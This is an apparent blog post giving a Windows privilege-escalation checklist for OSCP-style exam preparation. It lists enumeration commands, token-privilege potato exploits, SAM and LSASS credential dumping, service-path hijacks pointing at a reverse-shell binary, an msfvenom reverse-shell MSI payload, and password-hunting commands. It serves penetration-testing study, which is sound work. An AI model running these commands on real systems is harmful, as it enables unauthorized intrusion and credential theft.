Post

Windows Privilege Escalation

Posted
By mRb0x
5 min read
Windows Privilege Escalation

Principle: Same discipline as Linux — run the same enumeration sequence every time, map output to a vector bucket, exhaust misconfigurations before kernel exploits. The two biggest exam wins are token privileges (whoami /priv) and service misconfigurations. Check those first.

0. Quick-start enumeration sequence

Run by hand first, read the output, then confirm with winPEAS/PowerUp.

whoami /priv                                    :: token privileges — check SeImpersonate/SeBackup FIRST
whoami /all                                     :: groups, privs, integrity level
systeminfo                                      :: OS build + hotfixes (kernel-exploit context)
net user %username%                             :: my groups / membership
net localgroup administrators                   :: who is admin
cmdkey /list                                    :: stored credentials

:: service misconfigs
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
accesschk.exe -uwcqv "%username%" *             :: services I can modify (Sysinternals)
:: registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: scheduled tasks
schtasks /query /fo LIST /v | findstr /i "taskname run: author"

PowerShell one-liners worth keeping:

1
2
3

Get-ChildItem Env:                              # environment
Get-LocalUser; Get-LocalGroupMember Administrators
Get-Content (Get-PSReadlineOption).HistorySavePath   # PowerShell history

1. Automated tooling (confirm, don’t replace, manual enum)

Tool Use Notes
winPEASx64.exe Broad automated enum Colour-coded; red/green = likely win. Read critically.
PowerUp.ps1 Service/registry/DLL misconfigs . .\PowerUp.ps1; Invoke-AllChecks. Great for service + AlwaysInstallElevated.
SharpUp.exe Compiled PowerUp Quieter than the .ps1; good when AMSI/logging is a concern.
accesschk.exe Verify object ACLs (Sysinternals) The manual truth-check for service/file/registry write access.
Seatbelt.exe Host situational awareness Creds, autologon, history, PuTTY/VNC, etc.
LaZagne.exe Bulk credential extraction Browsers, WiFi, RDP, apps.
PrintSpoofer / GodPotato / JuicyPotatoNG Abuse SeImpersonate/SeAssignPrimaryToken See §2.1. Modern replacements for the old JuicyPotato.
wesng (Windows Exploit Suggester NG) Kernel CVE candidates from systeminfo Last resort only.

Discipline: first ~15–20 boxes — manual first, winPEAS only to catch what you missed. Calibrate the eye.

2. Vector taxonomy

2.1 Token privileges — highest yield

  • Enumerate: whoami /priv
  • Signal → exploit:
    • SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege (common on service accounts, IIS, MSSQL) → potato attack to SYSTEM: 
      PrintSpoofer64.exe -i -c cmd
GodPotato.exe -cmd "cmd /c whoami"
JuicyPotatoNG.exe -t * -p cmd.exe

      (Old JuicyPotato fails on Server 2019 / Win10 1809+ — use PrintSpoofer/GodPotato there.)

    • SeBackupPrivilege / SeRestorePrivilege → read protected files / dump the SAM: 
      reg save hklm\sam  C:\temp\sam
reg save hklm\system C:\temp\system
:: then secretsdump.py -sam sam -system system LOCAL
    • SeDebugPrivilege → dump LSASS (procdump / mimikatz) → creds.
    • SeTakeOwnershipPrivilege → takeown/icacls a SYSTEM-owned file, replace it.
    • SeLoadDriverPrivilege → load a known-vulnerable signed driver (BYOVD).

2.2 Service misconfigurations

Four distinct sub-vectors — check each:

a) Weak service permissions (can reconfigure the service)

  • Enumerate: accesschk.exe -uwcqv "%username%" * → look for SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS.
  • Exploit: 
    sc config <service> binpath= "C:\temp\rev.exe"
sc stop <service> & sc start <service>

b) Weak service binary file permissions (writable .exe)

  • Enumerate: accesschk.exe -quvw "C:\Path\To\service.exe" → write access?
  • Exploit: replace the binary with your payload, restart the service (or reboot).

c) Unquoted service paths

  • Enumerate: wmic service get name,pathname,startmode | findstr /i /v "\"" | findstr /i "auto" → path with spaces and no quotes, e.g. C:\Program Files\Some App\svc.exe.
  • Exploit: drop payload at the earliest writable intercept (C:\Program.exe or C:\Program Files\Some.exe) if that directory is writable (accesschk.exe -uwdq "C:\Program Files\").

d) Weak registry permissions on a service

  • Enumerate: accesschk.exe -uvwqk HKLM\System\CurrentControlSet\Services\<svc>
  • Exploit: reg add HKLM\...\<svc> /v ImagePath /t REG_EXPAND_SZ /d C:\temp\rev.exe /f → restart.

2.3 AlwaysInstallElevated

  • Enumerate: query both hives: 
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • Signal: both return 0x1.
  • Exploit: 
    1

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=.. LPORT=.. -f msi -o evil.msi

    msiexec /quiet /qn /i C:\temp\evil.msi

2.4 Scheduled tasks

  • Enumerate: schtasks /query /fo LIST /v → tasks running as SYSTEM/admin; check the “Task To Run” binary/script permissions with accesschk.exe -quvw "<path>".
  • Exploit: writable task binary/script → replace with payload, wait for the trigger.

2.5 DLL hijacking

  • Enumerate: find a service/app that loads a missing DLL from a writable directory (Procmon offline, or PowerUp’s Find-ProcessDLLHijack). Check PATH dirs for write access.
  • Exploit: drop a malicious DLL (exported to match) in the search-order location → restart the process.

2.6 Autoruns / startup with weak permissions

  • Enumerate: accesschk.exe -uvwq "C:\...\Startup"; reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
  • Exploit: writable autorun binary or writable Run-key target → replace/point at payload (fires on next admin logon).

2.7 Credential hunting

  • Enumerate: 
    cmdkey /list
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
findstr /si password *.txt *.ini *.config *.xml
dir /s /b C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep.inf 2>nul

    1

    type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  • Signal: autologon DefaultPassword, unattend/sysprep creds, saved RDP/cmdkey creds, GPP cpassword (SYSVOL), PuTTY/VNC/WinSCP stored creds, SAM/SYSTEM backups in \repair\ or \config\RegBack\.
  • Then: runas / evil-winrm / password-spray. Feeds [[Credential-Hunting]] and lateral movement.

2.8 UAC bypass (Medium → High integrity)

  • Enumerate: whoami /groups → member of Administrators but integrity = Medium.
  • Exploit: fodhelper / other auto-elevating-binary bypass to get a High-integrity shell (you’re already admin, just not elevated).

2.9 Insecure GUI / apps running as SYSTEM

  • Signal: an app running as SYSTEM that exposes a file dialog, help viewer, or “run as” hook → break out to a shell.

2.10 Kernel exploits — last resort

  • Enumerate: systeminfo → feed to wesng; cross-check patch level (wmic qfe get HotFixID).
  • Only after misconfigs are exhausted — risk of bugcheck.
  • Named CVEs to check: HiveNightmare/SeriousSAM (CVE-2021-36934 — readable SAM), PrintNightmare (CVE-2021-34527), plus version-specific kernel LPEs from wesng output. Confirm build is in range before running.

3. Exam-day discipline

  • Sequence, don’t improvise. whoami /priv and service checks every single time — the token win is easy to skip in a panic.
  • accesschk is the truth. Don’t trust a winPEAS “possible” without confirming the ACL yourself.
  • Prefer the boring win. SeImpersonate + PrintSpoofer, or a writable service, beats a kernel exploit nearly every time and won’t crash the box.
  • Watch architecture. Use x64 tooling on x64 hosts; a 32-bit payload/potato on a 64-bit host wastes time.
  • Note the why. Record the misconfig (which ACL, which privilege), not just the command.

4. Per-box loop (feeds this chapter)

For every box you SYSTEM:

  1. In the per-target note, record why the vector existed (the ACL/privilege/misconfig).
  2. If the technique is new, add it to the right §2 bucket here with the exact enumeration signal that would have flagged it.

Closes the loop between Targets/Windows/ notes and this reference chapter, keeping §2 as your authoritative exam-day checklist.

5. References

  • PayloadsAllTheThings → Windows Privilege Escalation (cross-reference checklist)
  • HackTricks → Windows Local Privilege Escalation
  • lolbas-project.github.io — living-off-the-land binaries (the Windows GTFOBins equivalent)
  • Tooling: winPEAS, PowerUp/SharpUp, accesschk, Seatbelt, LaZagne, PrintSpoofer/GodPotato/JuicyPotatoNG, wesng
  • Practice: TCM “Windows Privilege Escalation for Beginners”; THM “Windows PrivEsc” / “Windows PrivEsc Arena”; then PG Practice + HTB volume
methodology windows privesc oscp osep
This post is licensed under CC BY 4.0 by the author.